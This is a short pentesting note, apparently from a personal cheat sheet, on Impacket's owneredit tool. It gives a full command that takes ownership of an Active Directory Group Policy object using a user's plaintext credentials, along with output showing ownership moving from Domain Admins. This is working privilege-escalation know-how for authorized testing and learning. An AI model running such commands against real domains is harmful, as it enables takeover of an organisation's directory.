Summery
An Impacket tool used to view or modify the owner of an Active Directory object. In pentesting, it is commonly used to take ownership of an AD object when you have sufficient permissions. BloodyAD has similar capabilities.
Example of usage:
impacket-owneredit -action write -new-owner 'charlotte' -target-dn 'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=domain,DC=com' 'domain.com'/'charlotte':'Game2On4.!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-3453094141-4163309614-2941200192-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=domain,DC=com
[*] OwnerSid modified successfully!
For the -target you can specify the target’s regular display name or sAMAccountName but for things like GPOs, you need to use target-dn or -target-id - more in Abusing GPOs.